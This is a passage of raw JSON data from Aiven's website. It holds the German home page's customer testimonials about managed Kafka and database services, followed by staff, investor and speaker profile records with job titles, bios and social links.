lesen"},"image":{"_type":"mainImage","asset":{"_ref":"image-e7b4dee42866fc767de33d23af4cab54d8c6ed94-1812x978-jpg","_type":"reference"}},"jobTitle":"Head of Databases","name":"Julien Charlot"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"adeo","image":{"_type":"mainImage","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"imageHeight":35,"title":"Adeo"},{"_key":"52692accd9bd","_type":"tabItem","content":[{"_key":"3820addfb5c5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"a247d4380c4d","_type":"testimonialItem","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"8a0ad75bc1a6","_type":"block","children":[{"_key":"ec3208e6b95b0","_type":"span","marks":[],"text":"Mit Aiven sind unsere Kafka-Cluster viel zuverlässiger als früher. Unsere Teams können sich nun auf ihr Kerngeschäft konzentrieren und müssen sich nicht um die Wartung kümmern. Es ist jetzt auch sehr einfach, einen neuen Cluster zu starten. Das macht es viel attraktiver und zugänglicher für andere Teams. Senior Cloud Engineer, idealo"}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249","_type":"reference"},"title":"Erfahrungsbericht lesen "},"image":{"_type":"mainImage","asset":{"_ref":"image-c71c4ac8ac3157a70e02b8eaffc1bc1abb88c2e2-1200x628-png","_type":"reference"}},"jobTitle":"Senior Cloud Engineer, idealo","name":"Wanis Fahmy"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"idealo","image":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}},"imageHeight":30,"title":"Idealo"},{"_key":"bfda8f861525","_type":"tabItem","content":[{"_key":"1140081dc1d7","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"d5ed31743514","_type":"testimonialItem","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"b1192cca5d97","_type":"block","children":[{"_key":"c3dc3844e5cb0","_type":"span","marks":[],"text":"Durch den Wechsel zu Aiven für Apache Kafka haben wir die Kosten im Griff. Wir haben einen festen monatlichen Preis pro Apache Kafka®-Cluster, was bedeutet, dass wir nicht nur die Kosten gesenkt haben, sondern dass die Kosten vorhersehbar sind und auch bleiben werden, während wir weiter wachsen."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"e30f0e28-d18d-4f69-87e3-fb48ee50b209","_type":"reference"},"title":"Erfahrungsbericht lesen "},"image":{"_type":"mainImage","asset":{"_ref":"image-29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724-png","_type":"reference"}},"jobTitle":"DevOps Team Lead","name":"Yotam Cohen"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"talonone","image":{"_type":"mainImage","asset":{"_ref":"image-a97f28927d3bc8905ab1c28079fafd85158a9ba8-1600x390-svg","_type":"reference"}},"imageHeight":35,"title":"Talon.One"},{"_key":"gkcrx5pj310vdhrt3l61fxcrl9jnmq9c","_type":"tabItem","content":[{"_key":"iwhaj37q2ifr7dw7dajm8nexec5it45y","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"ee95985c08ca","_type":"testimonialItem","company":{"_ref":"776ed73c-e4cd-4a39-8542-a086159e296d","_type":"reference"},"content":[{"_key":"e15280b16911","_type":"block","children":[{"_key":"f465c83cffba0","_type":"span","marks":[],"text":"Dank Aiven verarbeitet unsere E-Commerce-Datenbank 11,2 Millionen Anfragen pro Stunde bei einer Betriebszeit von 99,99 % und einer Latenzzeit von unter 1 Millisekunde."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841","_type":"reference"},"title":"Erfahrungsbericht lesen "},"image":{"_type":"mainImage","asset":{"_ref":"image-71f8ecaa4cfc0cb3e65a7cf638bc534affc03881-1804x1042-png","_type":"reference"}},"jobTitle":"Head of SRE and Cloud Technology, Conrad Electronic","name":"Janek Wonner"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"conrad","image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"imageHeight":30,"title":"Conrad"},{"_key":"9nblnxbep7fzt9887mf80rkaq6thj63u","_type":"tabItem","content":[{"_key":"3ergflboq3zyh734yfn6yygj29wieonu","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"ecb56cc2964e","_type":"testimonialItem","company":{"_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},"content":[{"_key":"e7ee259f615d","_type":"block","children":[{"_key":"811547cb7d340","_type":"span","marks":[],"text":"Swift Solutions, ein Liefer- und Auftragsabwicklungsdienst, hat mit Aiven 30-40 % der Gesamtbetriebskosten eingespart."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"58ae63fb-c2da-4986-b03f-01d7830d3d82","_type":"reference"},"title":"Erfahrungsbericht lesen"},"image":{"_type":"mainImage","asset":{"_ref":"image-7432cedbf6e01d9fe3953ba9688355a4b1ba8b5f-1920x1037-jpg","_type":"reference"}},"jobTitle":"CTO, Swift Solutions","name":"Alfi Zainuddin"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"swift","image":{"_type":"mainImage","asset":{"_ref":"image-f96c9ead9de8adf6edabc4ac93c52b9412244344-747x428-svg","_type":"reference"}},"imageHeight":48,"title":"Swift"},{"_key":"d6xc3ism17slcj6e7zhhgoo75mmugi3x","_type":"tabItem","content":[{"_key":"jrc62fdr6c20tvknvndjnxwhv4h1yaj8","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isHideItemLink":true,"items":[{"_key":"d65d566a001e","_type":"testimonialItem","company":{"_ref":"a1b1HCA1GLpib0GtaoJrT","_type":"reference"},"content":[{"_key":"a5539aaa720d","_type":"block","children":[{"_key":"1842558179a10","_type":"span","marks":[],"text":"Die verwaltete Kafka-Lösung von Aiven hat unsere Betriebskosten um 70 % reduziert, einen agilen Entwicklungsprozess ermöglicht, unsere Markteinführungszeit verkürzt und uns die volle Kontrolle über unsere Daten behalten lassen."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-699f3b76f259ec86b9716b46ae047eb58180f9e4-1920x1038-jpg","_type":"reference"}},"jobTitle":"VP of Engineering, Mirakl","name":"Nagi Letaifa"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"mirakl","image":{"_type":"mainImage","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}},"imageHeight":30,"title":"Mirakl"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","subtitle":[{"_key":"d02b36915b14","_type":"block","children":[{"_key":"15547a9de0000","_type":"span","marks":[],"text":"Aiven ermöglicht es Unternehmen jeder Größe und Branche, von Start-ups bis hin zu Fortune-500-Unternehmen, Anwendungen der nächsten Generation sicher und schnell zu entwickeln."}],"markDefs":[],"style":"normal"}],"tagline":"WARUM AIVEN","title":"Mehr als 1.000 Kunden weltweit"},{"_key":"8oy5cyiag6pjnnr8cayogktu7iy4jlbp","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"52b48fc9b3f4","_ref":"a988347e-78a9-4d62-93df-2e7d9d398191__i18n_de","_type":"report"},{"_key":"8a9fe67b097f","_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631__i18n_de","_type":"whitepaper"},{"_key":"a37da08dddb2","_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_type":"caseStudy"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Erkunden Sie unsere neuesten Ressourcen"},{"_key":"1f224e5e3bc5","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"7a71a253f389","_type":"block","children":[{"_key":"779b83a72d38","_type":"span","marks":[],"text":"Conrad case study"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"befb0761991e","_type":"block","children":[{"_key":"08e72d817c77","_type":"span","marks":[],"text":""}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"disabled":true,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Other resources in German","topOverlap":false,"variant":"oneColumn"},{"_key":"7uixa74jqgwpsyo7sw7bazymohfsq6p7","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"w-1/2","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Kostenlos loslegen"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Demo buchen"},"text":[{"_key":"868d206437a1","_type":"block","children":[{"_key":"1e5e1d75304d","_type":"span","marks":[],"text":"Aiven macht das Management von Cloud-Dateninfrastrukturen mühelos. Stellen Sie einen Service auf der Aiven-Plattform in 10 Minuten bereit – keine Kreditkarte erforderlich. Wählen Sie Ihren Aiven-Service sowie die gewünschte Cloud und Region aus. Sie sind in wenigen Minuten einsatzbereit."}],"markDefs":[],"style":"normal"}],"title":"Probieren Sie Aiven kostenlos aus","topOverlap":false,"variant":"mediaCenter"}],"modals":[],"seo":{"_type":"metaData","metaDescription":"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.","metaImage":{"_type":"mainImage","alt":"Aiven.io","asset":{"_ref":"image-22da5521b08c529b241d9b01a3aec010441a3f11-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven\",\n \"@type\": \"Organization\",\n \"sameAs\": [\n \"https://twitter.com/aiven_io\",\n \"https://www.linkedin.com/company/aiven\"\n ],\n \"@context\": \"http://schema.org\",\n \"location\": [\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Helsinki, Finland\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Berlin, Germany\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Paris, France\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Boston, MA\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Sydney, Australia\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Toronto, Canada\"\n }\n ],\n \"legalName\": \"Aiven Oy\",\n \"description\": \"Aiven simplifies cloud data infrastructure management by deploying open-source technologies across multiple clouds, enabling fast and confident creation of next-generation applications.\",\n \"contactPoint\": [\n {\n \"@type\": \"ContactPoint\",\n \"email\": \"sales@aiven.io\",\n \"contactType\": \"sales\"\n }\n ],\n \"foundingDate\": \"2016\",\n \"subOrganization\": [\n {\n \"name\": \"Aiven Inc.\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Deutschland GmbH\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Australia Pty Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Canada Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven France SAS\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven (Singapore) Pte. Ltd\",\n \"@type\": \"Organization\"\n }\n ]\n}","metaTitle":"Aiven - Your Trusted Data \u0026 AI Platform"},"slug":{"_type":"slug","current":"/"},"title":"Home Page"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:26:33Z","_id":"feea409b-a0cc-41a1-b4fe-f57fe1a5db5a","_rev":"VrdcoLtXxUWed6PHr49UpG","_type":"person","_updatedAt":"2022-12-08T13:26:33Z","image":{"_type":"mainImage","asset":{"_ref":"image-fe5f015198ae26c97756344f0b0c075cf675de46-512x512-png","_type":"reference"}},"jobTitle":"Engineering Manager OSPO","name":"Ahmed Sobeh"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:37:35Z","_id":"c95e16f7-63c0-4057-83be-808a7ec98250","_rev":"Bp455s9rtQ49wRO6vWQ0yl","_type":"person","_updatedAt":"2022-12-08T13:37:35Z","image":{"_type":"mainImage","alt":"Greg Harris","asset":{"_ref":"image-c16d2146c6739e6076c91e7c4e848576126d1cbe-512x512-png","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Greg Harris"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:40:28Z","_id":"334e276a-c57a-4918-82a2-6c7cef2db473","_rev":"cwf6PSmkIH3MXtFHyrrnDE","_type":"person","_updatedAt":"2022-12-08T13:40:28Z","image":{"_type":"mainImage","alt":"Matthias Pohl","asset":{"_ref":"image-814e8bc18997754fa7e09e4d52d9f08d201777b9-512x512-png","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Matthias Pohl"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:30:01Z","_id":"8678cbf7-eb90-4a67-ae46-4ec9be6c736d","_rev":"xlOSxh3AFn1sOxBzrN0v34","_type":"person","_updatedAt":"2022-09-02T15:30:01Z","content":[{"_key":"dd08bd920a7a","_type":"block","children":[{"_key":"9f97fb58e3c9","_type":"span","marks":[],"text":"\"Working in a team that's willing and capable of taking on the tech giants is a daily motivation boost and feels like a mission in itself.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-df1bbd2401a240e0212b0af062a40d8aa953d520-800x800-jpg","_type":"reference"}},"jobTitle":"GTM Strategy \u0026 Operations Manager","name":"Tuomas Lounamaa"} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:43:13Z","_id":"fc9ebc99-9ede-4273-ba99-9b1798619f96","_rev":"Bp455s9rtQ49wRO6vlZRgN","_type":"person","_updatedAt":"2022-12-12T13:50:49Z","image":{"_type":"mainImage","alt":"Gregory Stark","asset":{"_ref":"image-ec48925e69ecd26d936345f9e39de3eb0ebae948-897x1230-png","_type":"reference"}},"jobTitle":"Senior Open Source Developer","name":"Gregory Stark"} {"__i18n_lang":"en","_createdAt":"2023-01-16T10:51:49Z","_id":"472779b2-39dc-440c-bbb2-931033b21460","_rev":"Z39vf97kTT8utJKfKjTeY5","_type":"person","_updatedAt":"2023-01-16T10:51:49Z","image":{"_type":"mainImage","alt":"aindriu lavelle","asset":{"_ref":"image-7c0899e469fd364410807950d60b14281640c7e4-4090x3804-jpg","_type":"reference"}},"jobTitle":"Senior Software Engineer","name":"Aindriú Lavelle"} {"__i18n_lang":"en","_createdAt":"2023-06-14T11:27:55Z","_id":"174cfdd2-a352-4b86-9105-fcb4c94075e4","_rev":"kqzyZ7JVpCO5nNERnY5iOL","_type":"person","_updatedAt":"2023-07-03T08:48:25Z","bio":[{"_key":"fbba906d8d64","_type":"block","children":[{"_key":"b1a7cd0c72810","_type":"span","marks":[],"text":"Celeste is a Developer Educator at Aiven, where she focuses on bringing delightful, and creative content to Aiven’s tens of thousands of users. In previous roles, she’s acted as a documentation partner and advisor to the CNCF’s portfolio of open source projects, as an approver and Code of Conduct Committee member in the Kubernetes open source project, and as a team lead in documentation teams across a number of companies. In 2020 she founded the Inclusive Naming Initiative. Her work has been featured in the New York Times, and she presents frequently for global leaders in open source projects about documentation best practices."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Celeste Horgan","asset":{"_ref":"image-fda06c225c623279d34c2d46ac528dc133ba40d8-800x1200-jpg","_type":"reference"}},"jobTitle":"Developer Educator, Aiven","location":"Berlin, Germany","name":"Celeste Horgan","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm535","role":"dev-rel","slug":{"_type":"slug","current":"/celeste-horgan"},"socialLink":{"_type":"socialLink","github":"https://github.com/celestehorgan","linkedIn":"https://www.linkedin.com/in/celeste-horgan-b65b5a1a/","mastodon":"https://hachyderm.io/@celeste@mastodon.cloud","twitter":"https://twitter.com/celeste_horgan","website":"https://celeste.works "},"specialtyTopicTags":["Kubernetes","Cloud Native","Open source: governance, management, leveling up projects","Codes of conduct: implementation, governance, real-world battle stories","Documentation \u0026 writing for developers, docs as code"]} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:22:35Z","_id":"da4a139c-3939-43f1-9887-8bb8dbd394e0","_rev":"RksXZeZKLvjmDTh00dKqdh","_type":"person","_updatedAt":"2023-03-15T13:00:48Z","image":{"_type":"mainImage","asset":{"_ref":"image-2eaf32206056d74322b68210fe664e34ada1321d-800x800-jpg","_type":"reference"}},"jobTitle":"Eurazeo","name":"Zoé Fabian","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/zo%C3%A9-fabian-40ba069/"}} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:23:12Z","_id":"1f7684bb-1bf1-461e-9e6b-935ca01e6fbb","_rev":"0lF4kyZBi1fr8QymZ2pgHR","_type":"person","_updatedAt":"2023-03-15T13:01:02Z","image":{"_type":"mainImage","asset":{"_ref":"image-18f10204d838e0153984f352974643d8173f338d-800x800-jpg","_type":"reference"}},"jobTitle":"Chairman","name":"Olaf Schmitz","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/olafschmitz"}} {"__i18n_lang":"en","_createdAt":"2022-12-08T13:44:51Z","_id":"ab5041ab-a50e-424c-b6be-482e6c0ae742","_rev":"cwf6PSmkIH3MXtFHyzbQQr","_type":"person","_updatedAt":"2022-12-09T13:34:25Z","image":{"_type":"mainImage","alt":"Lukáš Vlček","asset":{"_ref":"image-febf6c6a65d95d067e65f5b834573312c6472f4b-1055x1319-png","_type":"reference"}},"jobTitle":"Staff Software Engineer","name":"Lukáš Vlček"} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:22:02Z","_id":"a15ebf67-fe8b-432e-8022-5d3433feb433","_rev":"RksXZeZKLvjmDTh00dKlqY","_type":"person","_updatedAt":"2023-03-15T13:00:41Z","image":{"_type":"mainImage","asset":{"_ref":"image-97dd7e9ca1c6a8921d9d7bf419e85e0e4f395ec5-800x800-jpg","_type":"reference"}},"jobTitle":"Earlybird VC","name":"Hendrik Brandis","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/dbrandis"}} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:23:45Z","_id":"7f1327ed-b16a-479d-8605-d8e0ac94d9af","_rev":"0lF4kyZBi1fr8QymZ2pfMB","_type":"person","_updatedAt":"2023-03-15T13:00:55Z","image":{"_type":"mainImage","asset":{"_ref":"image-db6e0ed0654b7ce047741b15699d422f2e535993-800x800-jpg","_type":"reference"}},"jobTitle":"IVP","name":"Eric Liaw","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/ericliaw"}} {"__i18n_lang":"en","_createdAt":"2023-05-31T08:31:03Z","_id":"80c5dbb7-d32e-47b8-a4b3-33c16dc0508c","_rev":"PafZ7If3abxFAfZNOiwMkH","_type":"person","_updatedAt":"2023-05-31T08:33:15Z","image":{"_type":"mainImage","asset":{"_ref":"image-37f3e688ab11903f54b659767d72903fcccd0a3b-503x518-png","_type":"reference"}},"jobTitle":"Director of Product Marketing","name":"Mikko Röntynen","socialLink":{"_type":"socialLink","email":" mikko.rontynen@aiven.io","linkedIn":"https://www.linkedin.com/in/mikkorontynen/"}} {"__i18n_lang":"en","_createdAt":"2023-03-15T12:58:03Z","_id":"69b9b790-a437-4e37-b369-bc45d8ab20fc","_rev":"B2qRym1lObpfgwjNwvJu1Z","_type":"person","_updatedAt":"2023-08-21T12:04:36Z","image":{"_type":"mainImage","asset":{"_ref":"image-36a4c58d3bb9a5cefd75f4dd63b9bba8f9ac1115-800x800-jpg","_type":"reference"}},"jobTitle":"Chief Revenue Officer, Aiven","name":"David Wyatt","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/davidwyatt123"}} {"__i18n_lang":"en","_createdAt":"2023-06-14T10:54:36Z","_id":"a4127c21-8608-4792-85d5-f565256a8f8a","_rev":"FJE9FJz5NeK3Yo2P5QD5Np","_type":"person","_updatedAt":"2023-06-15T14:04:26Z","author":{"_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"},"bio":[{"_key":"b8d7c8a9c746","_type":"block","children":[{"_key":"f52c92e1ca120","_type":"span","marks":[],"text":"Dewan Ahmed is a Senior Developer Advocate at Aiven, a company that offers a fully managed, open-source cloud data platform. Before joining Aiven, he worked at IBM and Red Hat as a developer, QA lead, consultant, and developer advocate.\n\nFor the last nine years, Dewan has worked to solve DevOps and infrastructure problems for small startups, large enterprises, and governments. Starting his public speaking at a toastmaster in 2016, he has been speaking at tech conferences and meetups for the last six years.\n\nHis work is fueled by a passion for open-source and a deep respect for the tech community."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Dewan Ahmed","asset":{"_ref":"image-3c1829a1ab4800af8be04c7d662ec1454f312c7f-762x762-png","_type":"reference"}},"jobTitle":"Senior Developer Advocate, Aiven","location":"Moncton, NB, Canada","name":"Dewan Ahmed","role":"dev-rel","slug":{"_type":"slug","current":"/dewan-ahmed"},"socialLink":{"_type":"socialLink","github":"https://github.com/dewan-ahmed/","linkedIn":"https://www.linkedin.com/in/diahmed/","twitter":"https://twitter.com/DewanAhmed","website":"https://dewanahmed.com/"},"specialtyTopicTags":["DevOps","Kubernetes","Terraform","Vault","Policy engines","Infrastructure as code","Database reliability and disaster recovery","Open-source community and strategy","Technical docs and frameworks","Java","General expertise on various cloud providers","Career in tech and career coaching"]} {"__i18n_lang":"en","_createdAt":"2023-05-08T10:43:11Z","_id":"0751a33e-612e-404f-9e77-0b5da9ec746a","_rev":"2Op9OgqNBO1fad6OzhIiQD","_type":"person","_updatedAt":"2024-08-13T11:03:01Z","author":{"_ref":"3UGFZYFBoYjMPg7DR9R9YZ","_type":"reference"},"bio":[{"_key":"905a7aecd615","_type":"block","children":[{"_key":"543ddaef780c0","_type":"span","marks":[],"text":"Olena is an expert in data, sustainable software development, and teamwork. With a background in software engineering, she's led teams and developed mission-critical applications at Nokia, HERE Technologies, and AWS. Currently, she works at Aiven where she supports developers and customers in using open-source data technologies such as Apache Kafka, ClickHouse, and OpenSearch. She is also an international public speaker and regularly presents at conferences around the world. She holds AWS Developer and Solutions Architect certifications, and is also a Confluent Catalyst."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-7e0e1c6395fb7fe660432005f23833cb76a98bef-992x992-jpg","_type":"reference"}},"jobTitle":"Senior Developer Advocate, Aiven","location":"Berlin, Germany","name":"Olena Kutsenko","pardotForm":"https://go.aiven.io/l/890043/2023-09-11/sztz5","role":"dev-rel","slug":{"_type":"slug","current":"/olena-kutsenko"},"socialLink":{"_type":"socialLink","github":"https://github.com/anelook","linkedIn":"https://www.linkedin.com/in/olenakutsenko/","twitter":"https://twitter.com/OlenaKutsenko","website":"https://www.youtube.com/@OlenaKutsenko"},"specialtyTopicTags":["NodeJS","JavaScript","TypeScript","Apache Kafka","ClickHouse","OpenSearch"]} {"__i18n_lang":"en","_createdAt":"2023-11-23T15:00:52Z","_id":"42e38a6c-1cce-4dc0-8cc5-fb8021874c34","_rev":"Arp4NzaYseKQ5hw9dgAdFs","_type":"person","_updatedAt":"2023-11-23T15:11:00Z","image":{"_type":"mainImage","asset":{"_ref":"image-668a97e099965e0b5c4db333f00feabeb55dc8fc-1200x1600-png","_type":"reference"}},"jobTitle":"Staff Platform Engineer, Doccla","name":"Matthew Huxtable","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/matthew-huxtable/"}} {"__i18n_lang":"en","_createdAt":"2023-07-21T10:29:25Z","_id":"a9ad78f2-90a2-4ed5-8d69-582d438ac0f8","_rev":"liXun5Qglq4dGLky9a2dK3","_type":"person","_updatedAt":"2023-07-22T12:53:43Z","image":{"_type":"mainImage","alt":"Brent Van Geertury","asset":{"_ref":"image-77a39272bc09e63c6b417091ffe6c6c4c7c4b128-658x659-webp","_type":"reference"}},"jobTitle":"Director of Engineering at Bonsai","name":"Brent Van Geertruy"} {"__i18n_lang":"en","_createdAt":"2023-06-14T11:32:43Z","_id":"5b409a95-23dd-4956-910a-df038eb978ff","_rev":"E7yqJcdu3p6SmgvthXD99p","_type":"person","_updatedAt":"2023-12-13T10:17:17Z","bio":[{"_key":"754a1b074543","_type":"block","children":[{"_key":"85500ce58bbf0","_type":"span","marks":[],"text":"Jenn is a Developer Advocate at Aiven committed to empowering developers and enhancing data infrastructure. Balancing her tech focus, she hosts two shows—Teach Jenn Tech, focused on learning together to demolish tech barriers, and Sh!t You Don't Want to Talk About, tackling complex topics like mental health and diversity. Whether she's solving problems through code, sharing knowledge with others, or sparking conversations on her shows, Jenn is a passionate advocate for social justice in the tech industry, striving to create inclusive spaces where everyone feels heard."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Jenn Junod","asset":{"_ref":"image-a57c6cdb7b1daededf8cb03bd06f64e9a12c0d14-400x400-jpg","_type":"reference"}},"jobTitle":"Developer Advocate, Aiven","location":"Phoenix, AZ, United States ","name":"Jenn Junod","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm53c","role":"dev-rel","slug":{"_type":"slug","current":"/jenn-junod"},"socialLink":{"_type":"socialLink","github":"https://github.com/jennjunod","linkedIn":"https://www.linkedin.com/in/jennjunod/","mastodon":"https://hachyderm.io/@JennJunod","twitter":"https://twitter.com/JennJunod","website":"https://www.jennjunod.com/"}} {"__i18n_lang":"en","_createdAt":"2023-07-21T10:30:08Z","_id":"2ddb24de-a362-4858-bd05-aa49c3310b14","_rev":"Q21J3pgWoUWkhUhtSpsFWF","_type":"person","_updatedAt":"2023-07-22T13:09:19Z","image":{"_type":"mainImage","asset":{"_ref":"image-986a7d8335750335051593a629b3619f01a8c6c6-573x573-jpg","_type":"reference"}},"jobTitle":"Commercial Account Executive at Aiven","name":"Alan Scott"} {"__i18n_lang":"en","_createdAt":"2023-12-19T11:10:21Z","_id":"9c6103c5-9c50-4bdd-9477-df415b254880","_rev":"Do3156plRwIXmiihO2FsHX","_type":"person","_updatedAt":"2023-12-19T12:27:52Z","image":{"_type":"mainImage","asset":{"_ref":"image-b0c7b5101245863de679b9ebe316cb54e3bedc2a-1323x1165-png","_type":"reference"}},"jobTitle":"Solutions Architect, IRORI","name":"Gustav Norbäcker","socialLink":{"_type":"socialLink","github":"https://github.com/norbacker","linkedIn":"https://www.linkedin.com/in/gustav-norb%C3%A4cker-5606844/"}} {"__i18n_lang":"en","_createdAt":"2024-01-24T01:37:51Z","_id":"f2ffc94d-c463-49ef-a2a2-cc2c5182807d","_rev":"VeNKqGNmt13PzvGhqsWq6I","_type":"person","_updatedAt":"2024-01-29T16:17:12Z","image":{"_type":"mainImage","asset":{"_ref":"image-8ddf1be425fe0978dbbed1d3d2efc9be7c706151-1536x2048-jpg","_type":"reference"}},"jobTitle":"CTO and Founder, Hookdeck","name":"Maurice Kherlakian","slug":{"_type":"slug","current":"/maurice-kherlakian"}} {"__i18n_lang":"en","_createdAt":"2023-10-25T13:25:36Z","_id":"4880f9d4-e370-446d-abd2-4f17cc584360","_rev":"dWOXoeBNhMRLotF8JXvBD9","_type":"person","_updatedAt":"2023-10-25T14:49:12Z","image":{"_type":"mainImage","alt":"Jon Collins","asset":{"_ref":"image-7643c9042d7c4e47d776cd41a01d47c73070bc64-4480x6720-jpg","_type":"reference"}},"jobTitle":"VP of Engagement, GigaOm","name":"Jon 